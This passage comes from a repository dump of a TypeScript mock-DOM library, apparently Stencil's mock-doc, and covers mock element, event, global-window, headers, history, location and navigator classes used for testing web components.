crossorigin: String,\n  media: String,\n  rel: String,\n  type: String,\n});\n\nexport class MockMetaElement extends MockHTMLElement {\n  content: string;\n\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'meta');\n  }\n}\npatchPropAttributes(MockMetaElement.prototype, {\n  charset: String,\n  content: String,\n  name: String,\n});\n\nexport class MockScriptElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'script');\n  }\n\n  get src() {\n    return fullUrl(this, 'src');\n  }\n  set src(value: string) {\n    this.setAttribute('src', value);\n  }\n}\npatchPropAttributes(MockScriptElement.prototype, {\n  type: String,\n});\n\nexport class MockDOMMatrix {\n  static fromMatrix() {\n    return new MockDOMMatrix();\n  }\n  a: number = 1;\n  b: number = 0;\n  c: number = 0;\n  d: number = 1;\n  e: number = 0;\n  f: number = 0;\n  m11: number = 1;\n  m12: number = 0;\n  m13: number = 0;\n  m14: number = 0;\n  m21: number = 0;\n  m22: number = 1;\n  m23: number = 0;\n  m24: number = 0;\n  m31: number = 0;\n  m32: number = 0;\n  m33: number = 1;\n  m34: number = 0;\n  m41: number = 0;\n  m42: number = 0;\n  m43: number = 0;\n  m44: number = 1;\n  is2D: boolean = true;\n  isIdentity: boolean = true;\n  inverse() {\n    return new MockDOMMatrix();\n  }\n  flipX() {\n    return new MockDOMMatrix();\n  }\n  flipY() {\n    return new MockDOMMatrix();\n  }\n  multiply() {\n    return new MockDOMMatrix();\n  }\n  rotate() {\n    return new MockDOMMatrix();\n  }\n  rotateAxisAngle() {\n    return new MockDOMMatrix();\n  }\n  rotateFromVector() {\n    return new MockDOMMatrix();\n  }\n  scale() {\n    return new MockDOMMatrix();\n  }\n  scaleNonUniform() {\n    return new MockDOMMatrix();\n  }\n  skewX() {\n    return new MockDOMMatrix();\n  }\n  skewY() {\n    return new MockDOMMatrix();\n  }\n  toJSON() {}\n  toString() {}\n  transformPoint() {\n    return new MockDOMPoint();\n  }\n  translate() {\n    return new MockDOMMatrix();\n  }\n}\n\nexport class MockDOMPoint {\n  w: number = 1;\n  x: number = 0;\n  y: number = 0;\n  z: number = 0;\n  toJSON() {}\n  matrixTransform() {\n    return new MockDOMMatrix();\n  }\n}\n\nexport class MockSVGRect {\n  height: number = 10;\n  width: number = 10;\n  x: number = 0;\n  y: number = 0;\n}\n\nexport class MockStyleElement extends MockHTMLElement {\n  sheet: MockCSSStyleSheet;\n\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'style');\n    this.sheet = new MockCSSStyleSheet(this);\n  }\n\n  override get innerHTML() {\n    return getStyleElementText(this);\n  }\n  override set innerHTML(value: string) {\n    setStyleElementText(this, value);\n  }\n\n  override get innerText() {\n    return getStyleElementText(this);\n  }\n  override set innerText(value: string) {\n    setStyleElementText(this, value);\n  }\n\n  override get textContent() {\n    return getStyleElementText(this);\n  }\n  override set textContent(value: string) {\n    setStyleElementText(this, value);\n  }\n}\nexport class MockSVGElement extends MockElement {\n  override __namespaceURI = 'http://www.w3.org/2000/svg';\n\n  // SVGElement properties and methods\n  get ownerSVGElement(): SVGSVGElement {\n    return null;\n  }\n  get viewportElement(): SVGElement {\n    return null;\n  }\n  onunload() {\n    /**/\n  }\n\n  // SVGGeometryElement properties and methods\n  get pathLength(): number {\n    return 0;\n  }\n\n  isPointInFill(_pt: DOMPoint): boolean {\n    return false;\n  }\n  isPointInStroke(_pt: DOMPoint): boolean {\n    return false;\n  }\n  getTotalLength(): number {\n    return 0;\n  }\n}\n\nexport class MockSVGGraphicsElement extends MockSVGElement {\n  getBBox(_options?: { clipped: boolean; fill: boolean; markers: boolean; stroke: boolean }): MockSVGRect {\n    return new MockSVGRect();\n  }\n  getCTM(): MockDOMMatrix {\n    return new MockDOMMatrix();\n  }\n  getScreenCTM(): MockDOMMatrix {\n    return new MockDOMMatrix();\n  }\n}\n\nexport class MockSVGSVGElement extends MockSVGGraphicsElement {\n  createSVGPoint(): MockDOMPoint {\n    return new MockDOMPoint();\n  }\n}\n\nexport class MockSVGTextContentElement extends MockSVGGraphicsElement {\n  getComputedTextLength(): number {\n    return 0;\n  }\n}\n\nexport class MockBaseElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'base');\n  }\n\n  get href() {\n    return fullUrl(this, 'href');\n  }\n  set href(value: string) {\n    this.setAttribute('href', value);\n  }\n}\n\nexport class MockTemplateElement extends MockHTMLElement {\n  content: MockDocumentFragment;\n\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'template');\n    this.content = new MockDocumentFragment(ownerDocument);\n  }\n\n  override get innerHTML() {\n    return this.content.innerHTML;\n  }\n  override set innerHTML(html: string) {\n    this.content.innerHTML = html;\n  }\n\n  override cloneNode(deep?: boolean) {\n    const cloned = new MockTemplateElement(null);\n    cloned.attributes = cloneAttributes(this.attributes);\n\n    const styleCssText = this.getAttribute('style');\n    if (styleCssText != null && styleCssText.length > 0) {\n      cloned.setAttribute('style', styleCssText);\n    }\n\n    cloned.content = this.content.cloneNode(deep);\n\n    if (deep) {\n      for (let i = 0, ii = this.childNodes.length; i < ii; i++) {\n        const clonedChildNode = this.childNodes[i].cloneNode(true);\n        cloned.appendChild(clonedChildNode);\n      }\n    }\n\n    return cloned;\n  }\n}\n\nexport class MockTitleElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'title');\n  }\n\n  get text() {\n    return this.textContent;\n  }\n  set text(value: string) {\n    this.textContent = value;\n  }\n}\n\nexport class MockUListElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'ul');\n  }\n}\n\nexport class MockSlotElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'slot');\n  }\n\n  assignedNodes(opts?: { flatten: boolean }): (MockNode | Node)[] {\n    let nodesToReturn: (MockNode | Node)[] = [];\n\n    const ownerHost = (this.getRootNode() as any).host as MockElement;\n    if (!ownerHost) return nodesToReturn;\n\n    if (ownerHost.childNodes.length) {\n      // try to find lightDOM nodes matching this slot's name (or lack of)\n      if ((this as any).name) {\n        nodesToReturn = ownerHost.childNodes.filter(\n          (n) =>\n            n.nodeType === NODE_TYPES.ELEMENT_NODE && (n as MockElement).getAttribute('slot') === (this as any).name,\n        );\n      } else {\n        // find elements that do not have a slot attribute or\n        // any other type of node\n        nodesToReturn = ownerHost.childNodes.filter(\n          (n) =>\n            (n.nodeType === NODE_TYPES.ELEMENT_NODE && !(n as MockElement).getAttribute('slot')) ||\n            n.nodeType !== NODE_TYPES.ELEMENT_NODE,\n        );\n      }\n      if (nodesToReturn.length) return nodesToReturn;\n    }\n\n    // no flatten option? Return whatever's in this slot (without nested slots)\n    if (!opts?.flatten) return this.childNodes.filter((n) => !(n instanceof MockSlotElement));\n\n    // flatten option? Return all nodes in this slot (including anything within nested slots)\n    return this.childNodes.reduce(\n      (acc, node) => {\n        if (node instanceof MockSlotElement) {\n          acc.push(...node.assignedNodes(opts));\n        } else {\n          acc.push(node);\n        }\n        return acc;\n      },\n      [] as (MockNode | Node)[],\n    );\n  }\n\n  assignedElements(opts?: { flatten: boolean }): (Element | MockHTMLElement)[] {\n    let elesToReturn: (Element | MockHTMLElement)[] = [];\n\n    const ownerHost = (this.getRootNode() as any).host as MockElement;\n    if (!ownerHost) return elesToReturn;\n\n    if (ownerHost.children.length) {\n      // try to find lightDOM elements matching this slot's name (or lack of)\n      if ((this as any).name) {\n        elesToReturn = ownerHost.children.filter((n) => (n as MockElement).getAttribute('slot') == (this as any).name);\n      } else {\n        elesToReturn = ownerHost.children.filter((n) => !(n as MockElement).getAttribute('slot'));\n      }\n      if (elesToReturn.length) return elesToReturn;\n    }\n\n    // no flatten option? Return whatever elements are in this slot (without nested slots)\n    if (!opts?.flatten) return this.children.filter((n) => !(n instanceof MockSlotElement));\n\n    // flatten option? Return all elements in this slot (including anything within nested slots)\n    return this.children.reduce(\n      (acc, node) => {\n        if (node instanceof MockSlotElement) {\n          acc.push(...node.assignedElements(opts));\n        } else {\n          acc.push(node);\n        }\n        return acc;\n      },\n      [] as (MockElement | Element)[],\n    );\n  }\n}\n\npatchPropAttributes(MockSlotElement.prototype, {\n  name: String,\n});\n\ntype CanvasContext = '2d' | 'webgl' | 'webgl2' | 'bitmaprenderer';\nexport class CanvasRenderingContext {\n  context: CanvasContext;\n  contextAttributes: WebGLContextAttributes;\n  constructor(context: CanvasContext, contextAttributes?: WebGLContextAttributes) {\n    this.context = context;\n    this.contextAttributes = contextAttributes;\n  }\n  fillRect() {\n    return;\n  }\n  clearRect() {}\n  getImageData(_: number, __: number, w: number, h: number) {\n    return {\n      data: new Array(w * h * 4),\n    };\n  }\n  toDataURL() {\n    return 'data:,'; // blank image\n  }\n  putImageData() {}\n  createImageData(): ImageData {\n    return {} as ImageData;\n  }\n  setTransform() {}\n  drawImage() {}\n  save() {}\n  fillText() {}\n  restore() {}\n  beginPath() {}\n  moveTo() {}\n  lineTo() {}\n  closePath() {}\n  stroke() {}\n  translate() {}\n  scale() {}\n  rotate() {}\n  arc() {}\n  fill() {}\n  measureText() {\n    return { width: 0 };\n  }\n  transform() {}\n  rect() {}\n  clip() {}\n}\n\nexport class MockCanvasElement extends MockHTMLElement {\n  constructor(ownerDocument: any) {\n    super(ownerDocument, 'canvas');\n  }\n  getContext(context: CanvasContext, contextAttributes?: WebGLContextAttributes): CanvasRenderingContext {\n    return new CanvasRenderingContext(context, contextAttributes);\n  }\n}\n\nfunction fullUrl(elm: MockElement, attrName: string) {\n  const val = elm.getAttribute(attrName) || '';\n  if (elm.ownerDocument != null) {\n    const win = elm.ownerDocument.defaultView as Window;\n    if (win != null) {\n      const loc = win.location;\n      if (loc != null) {\n        try {\n          const url = new URL(val, loc.href);\n          return url.href;\n        } catch (e) {}\n      }\n    }\n  }\n  return val.replace(/\\'|\\\"/g, '').trim();\n}\n\nfunction getLabelsForElement(elm: MockHTMLElement): MockHTMLElement[] {\n  const labels: MockHTMLElement[] = [];\n  const id = elm.id;\n  const doc = elm.ownerDocument;\n\n  if (doc) {\n    // Find labels with \"for\" attribute matching this element's ID\n    if (id) {\n      const allLabels = doc.getElementsByTagName('label');\n      for (let i = 0; i < allLabels.length; i++) {\n        const label = allLabels[i] as MockLabelElement;\n        if (label.htmlFor === id) {\n          labels.push(label);\n        }\n      }\n    }\n\n    // Find labels that contain this element as a descendant\n    let parent = elm.parentNode as MockHTMLElement | null;\n    while (parent) {\n      if (parent.nodeName === 'LABEL' && !labels.includes(parent)) {\n        labels.push(parent);\n      }\n      parent = parent.parentNode as MockHTMLElement | null;\n    }\n  }\n\n  return labels;\n}\n\nfunction patchPropAttributes(prototype: any, attrs: any, defaults: any = {}) {\n  Object.keys(attrs).forEach((propName) => {\n    const attr = attrs[propName];\n    const defaultValue = defaults[propName];\n\n    if (attr === Boolean) {\n      Object.defineProperty(prototype, propName, {\n        get(this: MockElement) {\n          return this.hasAttribute(propName);\n        },\n        set(this: MockElement, value: boolean) {\n          if (value) {\n            this.setAttribute(propName, '');\n          } else {\n            this.removeAttribute(propName);\n          }\n        },\n      });\n    } else if (attr === Number) {\n      Object.defineProperty(prototype, propName, {\n        get(this: MockElement) {\n          const value = this.getAttribute(propName);\n          return value ? parseInt(value, 10) : defaultValue === undefined ? 0 : defaultValue;\n        },\n        set(this: MockElement, value: boolean) {\n          this.setAttribute(propName, value);\n        },\n      });\n    } else {\n      Object.defineProperty(prototype, propName, {\n        get(this: MockElement) {\n          return this.hasAttribute(propName) ? this.getAttribute(propName) : defaultValue || '';\n        },\n        set(this: MockElement, value: boolean) {\n          this.setAttribute(propName, value);\n        },\n      });\n    }\n  });\n}\n\nMockElement.prototype.cloneNode = function (this: MockElement, deep?: boolean) {\n  // because we're creating elements, which extending specific HTML base classes there\n  // is a MockElement circular reference that bundling has trouble dealing with so\n  // the fix is to add cloneNode() to MockElement's prototype after the HTML classes\n  const cloned = createElement(this.ownerDocument, this.nodeName);\n  cloned.attributes = cloneAttributes(this.attributes);\n\n  const styleCssText = this.getAttribute('style');\n  if (styleCssText != null && styleCssText.length > 0) {\n    cloned.setAttribute('style', styleCssText);\n  }\n\n  if (deep) {\n    for (let i = 0, ii = this.childNodes.length; i < ii; i++) {\n      const clonedChildNode = this.childNodes[i].cloneNode(true);\n      cloned.appendChild(clonedChildNode);\n    }\n  }\n\n  return cloned;\n};\n"
  },
  {
    "path": "src/mock-doc/event.ts",
    "content": "import { NODE_NAMES } from './constants';\nimport { MockDocument } from './document';\nimport { MockElement } from './node';\nimport { MockWindow } from './window';\n\nexport class MockEvent {\n  bubbles = false;\n  cancelBubble = false;\n  cancelable = false;\n  composed = false;\n  currentTarget: MockElement = null;\n  defaultPrevented = false;\n  srcElement: MockElement = null;\n  target: MockElement = null;\n  timeStamp: number;\n  type: string;\n\n  constructor(type: string, eventInitDict?: EventInit) {\n    if (typeof type !== 'string') {\n      throw new Error(`Event type required`);\n    }\n    this.type = type;\n    this.timeStamp = Date.now();\n\n    if (eventInitDict != null) {\n      Object.assign(this, eventInitDict);\n    }\n  }\n\n  preventDefault() {\n    this.defaultPrevented = true;\n  }\n\n  stopPropagation() {\n    this.cancelBubble = true;\n  }\n\n  stopImmediatePropagation() {\n    this.cancelBubble = true;\n  }\n\n  /**\n   * @ref https://developer.mozilla.org/en-US/docs/Web/API/Event/composedPath\n   * @returns a composed path of the event\n   */\n  composedPath(): MockElement[] {\n    const composedPath: MockElement[] = [];\n\n    let currentElement = this.target;\n\n    while (currentElement) {\n      composedPath.push(currentElement);\n\n      if (!currentElement.parentElement && currentElement.nodeName === NODE_NAMES.DOCUMENT_NODE) {\n        // the current element doesn't have a parent, but we've detected it's our root document node. push the window\n        // object associated with the document onto the path\n        composedPath.push((currentElement as MockDocument).defaultView);\n        break;\n      }\n\n      /**\n       * bubble up the parent chain until we arrive to the HTML element. Here we continue\n       * with the document object instead of the parent element since the parent element\n       * is `null` for HTML elements.\n       */\n      if (currentElement.parentElement == null && currentElement.tagName === 'HTML') {\n        currentElement = currentElement.ownerDocument;\n      } else {\n        currentElement = currentElement.parentElement;\n      }\n    }\n\n    return composedPath;\n  }\n}\n\nexport class MockCustomEvent extends MockEvent {\n  detail: any = null;\n\n  constructor(type: string, customEventInitDic?: CustomEventInit) {\n    super(type);\n\n    if (customEventInitDic != null) {\n      Object.assign(this, customEventInitDic);\n    }\n  }\n}\n\nexport class MockKeyboardEvent extends MockEvent {\n  code = '';\n  key = '';\n  altKey = false;\n  ctrlKey = false;\n  metaKey = false;\n  shiftKey = false;\n  location = 0;\n  repeat = false;\n\n  constructor(type: string, keyboardEventInitDic?: KeyboardEventInit) {\n    super(type);\n\n    if (keyboardEventInitDic != null) {\n      Object.assign(this, keyboardEventInitDic);\n    }\n  }\n}\n\nexport class MockMouseEvent extends MockEvent {\n  screenX = 0;\n  screenY = 0;\n  clientX = 0;\n  clientY = 0;\n  ctrlKey = false;\n  shiftKey = false;\n  altKey = false;\n  metaKey = false;\n  button = 0;\n  buttons = 0;\n  relatedTarget: EventTarget = null;\n\n  constructor(type: string, mouseEventInitDic?: MouseEventInit) {\n    super(type);\n\n    if (mouseEventInitDic != null) {\n      Object.assign(this, mouseEventInitDic);\n    }\n  }\n}\n\nexport class MockUIEvent extends MockEvent {\n  detail: number | null = null;\n  view: MockWindow | null = null;\n\n  constructor(type: string, uiEventInitDic?: UIEventInit) {\n    super(type);\n\n    if (uiEventInitDic != null) {\n      Object.assign(this, uiEventInitDic);\n    }\n  }\n}\n\nexport class MockFocusEvent extends MockUIEvent {\n  relatedTarget: EventTarget | null = null;\n\n  constructor(type: 'blur' | 'focus', focusEventInitDic?: FocusEventInit) {\n    super(type);\n\n    if (focusEventInitDic != null) {\n      Object.assign(this, focusEventInitDic);\n    }\n  }\n}\n\nexport class MockEventListener {\n  type: string;\n  handler: (ev?: any) => void;\n\n  constructor(type: string, handler: any) {\n    this.type = type;\n    this.handler = handler;\n  }\n}\n\nexport function addEventListener(elm: any, type: string, handler: any) {\n  const target: EventTarget = elm;\n\n  if (target.__listeners == null) {\n    target.__listeners = [];\n  }\n\n  target.__listeners.push(new MockEventListener(type, handler));\n}\n\nexport function removeEventListener(elm: any, type: string, handler: any) {\n  const target: EventTarget = elm;\n\n  if (target != null && Array.isArray(target.__listeners) === true) {\n    const elmListener = target.__listeners.find((e) => e.type === type && e.handler === handler);\n    if (elmListener != null) {\n      const index = target.__listeners.indexOf(elmListener);\n      target.__listeners.splice(index, 1);\n    }\n  }\n}\n\nexport function resetEventListeners(target: any) {\n  if (target != null && (target as EventTarget).__listeners != null) {\n    (target as EventTarget).__listeners = null;\n  }\n}\n\nfunction triggerEventListener(elm: any, ev: MockEvent) {\n  if (elm == null || ev.cancelBubble === true) {\n    return;\n  }\n\n  const target: EventTarget = elm;\n  ev.currentTarget = elm;\n\n  if (Array.isArray(target.__listeners) === true) {\n    const listeners = target.__listeners.filter((e) => e.type === ev.type);\n    listeners.forEach((listener) => {\n      try {\n        listener.handler.call(target, ev);\n      } catch (err) {\n        console.error(err);\n      }\n    });\n  }\n\n  if (ev.bubbles === false) {\n    return;\n  }\n\n  if (elm.nodeName === NODE_NAMES.DOCUMENT_NODE) {\n    triggerEventListener((elm as MockDocument).defaultView, ev);\n  } else if (elm.parentElement == null && elm.tagName === 'HTML') {\n    triggerEventListener(elm.ownerDocument, ev);\n  } else {\n    const nextTarget = getNextEventTarget(elm, ev);\n    triggerEventListener(nextTarget, ev);\n  }\n}\n\nfunction getNextEventTarget(elm: any, ev: MockEvent) {\n  // If current element has a parent, bubble to parent\n  if (elm.parentElement) {\n    return elm.parentElement;\n  }\n\n  // If current element is a Shadow Root (has host property), bubble to the host\n  if (elm.host && ev.composed) {\n    return elm.host;\n  }\n\n  // If we're at a Shadow Root boundary and event is composed, bubble to Shadow Host\n  if (ev.composed && elm.parentNode && elm.parentNode.host) {\n    return elm.parentNode.host;\n  }\n\n  return null;\n}\n\nexport function dispatchEvent(currentTarget: any, ev: MockEvent) {\n  ev.target = currentTarget;\n  triggerEventListener(currentTarget, ev);\n  return true;\n}\n\nexport interface EventTarget {\n  __listeners: MockEventListener[];\n}\n"
  },
  {
    "path": "src/mock-doc/global.ts",
    "content": "import { MockCSSStyleSheet } from './css-style-sheet';\nimport { MockDocumentFragment } from './document-fragment';\nimport {\n  MockAnchorElement,\n  MockBaseElement,\n  MockButtonElement,\n  MockCanvasElement,\n  MockFormElement,\n  MockImageElement,\n  MockInputElement,\n  MockLinkElement,\n  MockMetaElement,\n  MockScriptElement,\n  MockStyleElement,\n  MockTemplateElement,\n  MockTitleElement,\n  MockUListElement,\n} from './element';\nimport { MockCustomEvent, MockEvent, MockFocusEvent, MockKeyboardEvent, MockMouseEvent } from './event';\nimport { MockHeaders } from './headers';\nimport { MockDOMParser } from './parser';\nimport { MockRequest, MockResponse } from './request-response';\nimport { MockWindow } from './window';\n\nexport function setupGlobal(gbl: any) {\n  if (gbl.window == null) {\n    const win: any = (gbl.window = new MockWindow());\n\n    WINDOW_FUNCTIONS.forEach((fnName) => {\n      if (!(fnName in gbl)) {\n        gbl[fnName] = win[fnName].bind(win);\n      }\n    });\n\n    WINDOW_PROPS.forEach((propName) => {\n      if (!(propName in gbl)) {\n        Object.defineProperty(gbl, propName, {\n          get() {\n            return win[propName];\n          },\n          set(val: any) {\n            win[propName] = val;\n          },\n          configurable: true,\n          enumerable: true,\n        });\n      }\n    });\n\n    GLOBAL_CONSTRUCTORS.forEach(([cstrName]) => {\n      gbl[cstrName] = win[cstrName];\n    });\n  }\n\n  return gbl.window;\n}\n\nexport function teardownGlobal(gbl: any) {\n  const win = gbl.window as Window;\n  if (win && typeof win.close === 'function') {\n    win.close();\n  }\n}\n\nexport function patchWindow(winToBePatched: any) {\n  const mockWin: any = new MockWindow(false);\n\n  WINDOW_FUNCTIONS.forEach((fnName) => {\n    if (typeof winToBePatched[fnName] !== 'function') {\n      winToBePatched[fnName] = mockWin[fnName].bind(mockWin);\n    }\n  });\n\n  WINDOW_PROPS.forEach((propName) => {\n    if (winToBePatched === undefined) {\n      Object.defineProperty(winToBePatched, propName, {\n        get() {\n          return mockWin[propName];\n        },\n        set(val: any) {\n          mockWin[propName] = val;\n        },\n        configurable: true,\n        enumerable: true,\n      });\n    }\n  });\n}\n\nexport function addGlobalsToWindowPrototype(mockWinPrototype: any) {\n  GLOBAL_CONSTRUCTORS.forEach(([cstrName, Cstr]) => {\n    Object.defineProperty(mockWinPrototype, cstrName, {\n      get() {\n        return this['__' + cstrName] || Cstr;\n      },\n      set(cstr: any) {\n        this['__' + cstrName] = cstr;\n      },\n      configurable: true,\n      enumerable: true,\n    });\n  });\n}\n\nconst WINDOW_FUNCTIONS = [\n  'addEventListener',\n  'alert',\n  'blur',\n  'cancelAnimationFrame',\n  'cancelIdleCallback',\n  'clearInterval',\n  'clearTimeout',\n  'close',\n  'confirm',\n  'dispatchEvent',\n  'focus',\n  'getComputedStyle',\n  'matchMedia',\n  'open',\n  'prompt',\n  'removeEventListener',\n  'requestAnimationFrame',\n  'requestIdleCallback',\n  'URL',\n];\n\nconst WINDOW_PROPS = [\n  'customElements',\n  'devicePixelRatio',\n  'document',\n  'history',\n  'innerHeight',\n  'innerWidth',\n  'localStorage',\n  'location',\n  'navigator',\n  'pageXOffset',\n  'pageYOffset',\n  'performance',\n  'screenLeft',\n  'screenTop',\n  'screenX',\n  'screenY',\n  'scrollX',\n  'scrollY',\n  'sessionStorage',\n  'CSS',\n  'CustomEvent',\n  'Event',\n  'Element',\n  'HTMLElement',\n  'Node',\n  'NodeList',\n  'FocusEvent',\n  'KeyboardEvent',\n  'MouseEvent',\n  'CSSStyleSheet',\n];\n\nconst GLOBAL_CONSTRUCTORS: [string, any][] = [\n  ['CSSStyleSheet', MockCSSStyleSheet],\n  ['CustomEvent', MockCustomEvent],\n  ['DocumentFragment', MockDocumentFragment],\n  ['DOMParser', MockDOMParser],\n  ['Event', MockEvent],\n  ['FocusEvent', MockFocusEvent],\n  ['Headers', MockHeaders],\n  ['KeyboardEvent', MockKeyboardEvent],\n  ['MouseEvent', MockMouseEvent],\n  ['Request', MockRequest],\n  ['Response', MockResponse],\n  ['ShadowRoot', MockDocumentFragment],\n\n  ['HTMLAnchorElement', MockAnchorElement],\n  ['HTMLBaseElement', MockBaseElement],\n  ['HTMLButtonElement', MockButtonElement],\n  ['HTMLCanvasElement', MockCanvasElement],\n  ['HTMLFormElement', MockFormElement],\n  ['HTMLImageElement', MockImageElement],\n  ['HTMLInputElement', MockInputElement],\n  ['HTMLLinkElement', MockLinkElement],\n  ['HTMLMetaElement', MockMetaElement],\n  ['HTMLScriptElement', MockScriptElement],\n  ['HTMLStyleElement', MockStyleElement],\n  ['HTMLTemplateElement', MockTemplateElement],\n  ['HTMLTitleElement', MockTitleElement],\n  ['HTMLUListElement', MockUListElement],\n];\n"
  },
  {
    "path": "src/mock-doc/headers.ts",
    "content": "export class MockHeaders {\n  private _values: string[][] = [];\n\n  constructor(init?: string[][] | Map<string, string> | any) {\n    if (typeof init === 'object') {\n      if (typeof init[Symbol.iterator] === 'function') {\n        const kvs: string[][] = [];\n        for (const kv of init) {\n          if (typeof kv[Symbol.iterator] === 'function') {\n            kvs.push([...kv]);\n          }\n        }\n        for (const kv of kvs) {\n          this.append(kv[0], kv[1]);\n        }\n      } else {\n        for (const key in init) {\n          this.append(key, init[key]);\n        }\n      }\n    }\n  }\n\n  append(key: string, value: string) {\n    this._values.push([key, value + '']);\n  }\n\n  delete(key: string) {\n    key = key.toLowerCase();\n    for (let i = this._values.length - 1; i >= 0; i--) {\n      if (this._values[i][0].toLowerCase() === key) {\n        this._values.splice(i, 1);\n      }\n    }\n  }\n\n  entries(): any {\n    const entries: string[][] = [];\n    for (const kv of this.keys()) {\n      entries.push([kv, this.get(kv)]);\n    }\n    let index = -1;\n    return {\n      next() {\n        index++;\n        return {\n          value: entries[index],\n          done: !entries[index],\n        };\n      },\n      [Symbol.iterator]() {\n        return this;\n      },\n    };\n  }\n\n  forEach(cb: (value: string, key: string) => void) {\n    for (const kv of this.entries()) {\n      cb(kv[1], kv[0]);\n    }\n  }\n\n  get(key: string) {\n    const rtn: string[] = [];\n    key = key.toLowerCase();\n    for (const kv of this._values) {\n      if (kv[0].toLowerCase() === key) {\n        rtn.push(kv[1]);\n      }\n    }\n    return rtn.length > 0 ? rtn.join(', ') : null;\n  }\n\n  has(key: string) {\n    key = key.toLowerCase();\n    for (const kv of this._values) {\n      if (kv[0].toLowerCase() === key) {\n        return true;\n      }\n    }\n    return false;\n  }\n\n  keys() {\n    const keys: string[] = [];\n    for (const kv of this._values) {\n      const key = kv[0].toLowerCase();\n      if (!keys.includes(key)) {\n        keys.push(key);\n      }\n    }\n    let index = -1;\n    return {\n      next() {\n        index++;\n        return {\n          value: keys[index],\n          done: !keys[index],\n        };\n      },\n      [Symbol.iterator]() {\n        return this;\n      },\n    };\n  }\n\n  set(key: string, value: string) {\n    for (const kv of this._values) {\n      if (kv[0].toLowerCase() === key.toLowerCase()) {\n        kv[1] = value + '';\n        return;\n      }\n    }\n    this.append(key, value);\n  }\n\n  values(): any {\n    const values = this._values;\n    let index = -1;\n    return {\n      next() {\n        index++;\n        const done = !values[index];\n        return {\n          value: done ? undefined : values[index][1],\n          done,\n        };\n      },\n      [Symbol.iterator]() {\n        return this;\n      },\n    };\n  }\n\n  [Symbol.iterator]() {\n    return this.entries();\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/history.ts",
    "content": "export class MockHistory {\n  private items: any[] = [];\n\n  get length() {\n    return this.items.length;\n  }\n\n  back() {\n    this.go(-1);\n  }\n\n  forward() {\n    this.go(1);\n  }\n\n  go(_value: number) {\n    //\n  }\n\n  pushState(_state: any, _title: string, _url: string) {\n    //\n  }\n\n  replaceState(_state: any, _title: string, _url: string) {\n    //\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/index.ts",
    "content": "export { cloneAttributes, MockAttr, MockAttributeMap } from './attribute';\nexport { MockComment } from './comment-node';\nexport { NODE_TYPES } from './constants';\nexport { createDocument, createFragment, MockDocument, resetDocument } from './document';\nexport { MockCustomEvent, MockKeyboardEvent, MockMouseEvent } from './event';\nexport { patchWindow, setupGlobal, teardownGlobal } from './global';\nexport { MockHeaders } from './headers';\nexport { MockElement, MockHTMLElement, MockNode, MockTextNode } from './node';\nexport { parseHtmlToDocument, parseHtmlToFragment } from './parse-html';\nexport { MockRequest, MockRequestInfo, MockRequestInit, MockResponse, MockResponseInit } from './request-response';\nexport { serializeNodeToHtml, SerializeNodeToHtmlOptions } from './serialize-node';\nexport { cloneDocument, cloneWindow, constrainTimeouts, MockWindow } from './window';\n"
  },
  {
    "path": "src/mock-doc/intersection-observer.ts",
    "content": "export class MockIntersectionObserver {\n  constructor() {\n    /**/\n  }\n\n  disconnect() {\n    /**/\n  }\n\n  observe() {\n    /**/\n  }\n\n  takeRecords(): any[] {\n    return [];\n  }\n\n  unobserve() {\n    /**/\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/location.ts",
    "content": "export class MockLocation implements Location {\n  ancestorOrigins: any = null;\n  protocol = '';\n  host = '';\n  hostname = '';\n  port = '';\n  pathname = '';\n  search = '';\n  hash = '';\n  username = '';\n  password = '';\n  origin = '';\n\n  private _href = '';\n  get href() {\n    return this._href;\n  }\n  set href(value) {\n    const url = new URL(value, 'http://mockdoc.stenciljs.com');\n    this._href = url.href;\n    this.protocol = url.protocol;\n    this.host = url.host;\n    this.hostname = url.hostname;\n    this.port = url.port;\n    this.pathname = url.pathname;\n    this.search = url.search;\n    this.hash = url.hash;\n    this.username = url.username;\n    this.password = url.password;\n    this.origin = url.origin;\n  }\n\n  assign(_url: string) {\n    //\n  }\n\n  reload(_forcedReload?: boolean) {\n    //\n  }\n\n  replace(_url: string) {\n    //\n  }\n\n  toString() {\n    return this.href;\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/navigator.ts",
    "content": "export class MockNavigator {\n  appCodeName = 'MockNavigator';\n  appName = 'MockNavigator';\n  appVersion = 'MockNavigator';\n  platform = 'MockNavigator';\n  userAgent = 'MockNavigator';\n}\n"
  },
  {
    "path": "src/mock-doc/node.ts",
    "content": "import { createAttributeProxy, MockAttr, MockAttributeMap } from './attribute';\nimport { NODE_NAMES, NODE_TYPES } from './constants';\nimport { createCSSStyleDeclaration, MockCSSStyleDeclaration } from './css-style-declaration';\nimport { attributeChanged, checkAttributeChanged, connectNode, disconnectNode } from './custom-element-registry';\nimport { dataset } from './dataset';\nimport {\n  addEventListener,\n  dispatchEvent,\n  MockEvent,\n  MockFocusEvent,\n  removeEventListener,\n  resetEventListeners,\n} from './event';\nimport { parseFragmentUtil } from './parse-util';\nimport { matches, selectAll, selectOne } from './selector';\nimport { NON_ESCAPABLE_CONTENT, serializeNodeToHtml, SerializeNodeToHtmlOptions } from './serialize-node';\nimport { MockTokenList } from './token-list';\n\nexport class MockNode {\n  private _nodeValue: string | null;\n  nodeName: string | null;\n  nodeType: number;\n  ownerDocument: any;\n  parentNode: MockNode | null;\n  private _childNodes: MockNode[] = [];\n\n  constructor(ownerDocument: any, nodeType: number, nodeName: string | null, nodeValue: string | null) {\n    this.ownerDocument = ownerDocument;\n    this.nodeType = nodeType;\n    this.nodeName = nodeName;\n    this._nodeValue = nodeValue;\n    this.parentNode = null;\n  }\n\n  get childNodes(): MockNode[] {\n    return this._childNodes;\n  }\n  set childNodes(value: MockNode[]) {\n    this._childNodes = value;\n  }\n\n  appendChild(newNode: MockNode) {\n    if (newNode.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE) {\n      const nodes = newNode.childNodes.slice();\n      for (const child of nodes) {\n        